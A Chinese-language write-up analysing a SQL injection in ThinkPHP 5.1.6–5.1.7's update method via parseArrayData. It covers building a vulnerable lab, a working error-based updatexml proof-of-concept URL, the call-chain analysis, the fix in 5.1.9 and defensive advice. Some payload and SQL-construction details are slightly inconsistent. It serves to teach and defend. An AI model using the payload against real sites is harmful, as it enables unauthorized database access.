ThinkPHP5漏洞分析之SQL注入(二)
字数 1180 2025-08-18 11:38:41
ThinkPHP5 SQL注入漏洞分析(update方法注入)
漏洞概述
本漏洞存在于ThinkPHP 5.1.6至5.1.7版本(非最新的5.1.8版本也可利用)中,是由于Mysql类的parseArrayData方法对用户输入数据过滤不严格,导致攻击者可以通过精心构造的输入实现SQL注入攻击。
影响版本
- 5.1.6 ≤ ThinkPHP ≤ 5.1.7(5.1.8版本也可利用)
漏洞环境搭建
- 创建测试项目:
composer create-project --prefer-dist topthink/think tpdemo
- 修改composer.json文件:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}
- 执行更新:
composer update
- 设置控制器代码(application/index/controller/Index.php):
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}
-
配置数据库(config/database.php)并开启调试模式(config/app.php中设置app_debug和app_trace为true)
-
创建测试数据库:
CREATE DATABASE tpdemo;
USE tpdemo;
CREATE TABLE users(
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL
);
INSERT INTO users(id,username) VALUES(1,'mochazz');
漏洞复现
访问以下URL触发SQL注入:
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
注意:需要开启app_debug才能看到SQL报错信息。
漏洞分析
漏洞触发流程
- 用户输入通过
request()->get('username/a')获取,/a表示获取数组类型数据 - 数据传递到
update方法中 - 经过
Query->update()→Connection->update()→Builder->update() - 在Builder类的update方法中调用parseData方法处理数据
- 最终进入存在漏洞的parseArrayData方法
关键漏洞点
漏洞存在于thinkphp/library/think/db/Builder.php的parseArrayData方法中:
protected function parseArrayData($data, $options)
{
list($type, $value) = $data;
switch ($type) {
case 'point':
$fun = $value[0];
$field = $value[1];
return $fun . '("' . $field . '")';
// 其他case...
}
}
攻击者可以控制$fun和$field的值,导致SQL语句拼接漏洞。
SQL语句构造
最终形成的SQL语句结构:
UPDATE `users` SET `username` = $a('$b($c)') WHERE `id` = 1;
通过精心构造的参数:
$a = updatexml(1,concat(0x7,user(),0x7e),1)^$b = 0$c = 1
实际执行的SQL语句:
UPDATE `users` SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = 1
漏洞修复
官方在5.1.9版本中直接移除了parseArrayData方法,彻底解决了此问题。
防御建议
- 升级到ThinkPHP 5.1.9或更高版本
- 对所有用户输入进行严格的过滤和转义
- 使用参数化查询或预处理语句
- 生产环境中关闭调试模式(app_debug设置为false)
攻击流程图
- 用户提交恶意数组参数 →
- 框架接收并处理数组数据 →
- 数据传递到update方法 →
- 经过多层调用到达parseArrayData方法 →
- 恶意数据被拼接到SQL语句中 →
- 数据库执行恶意SQL语句 →
- 返回错误信息(如果开启调试模式)
通过本教学文档,您应该能够全面理解该漏洞的原理、利用方式及修复方法。在实际应用中,建议开发者始终保持框架为最新版本,并遵循安全编码规范。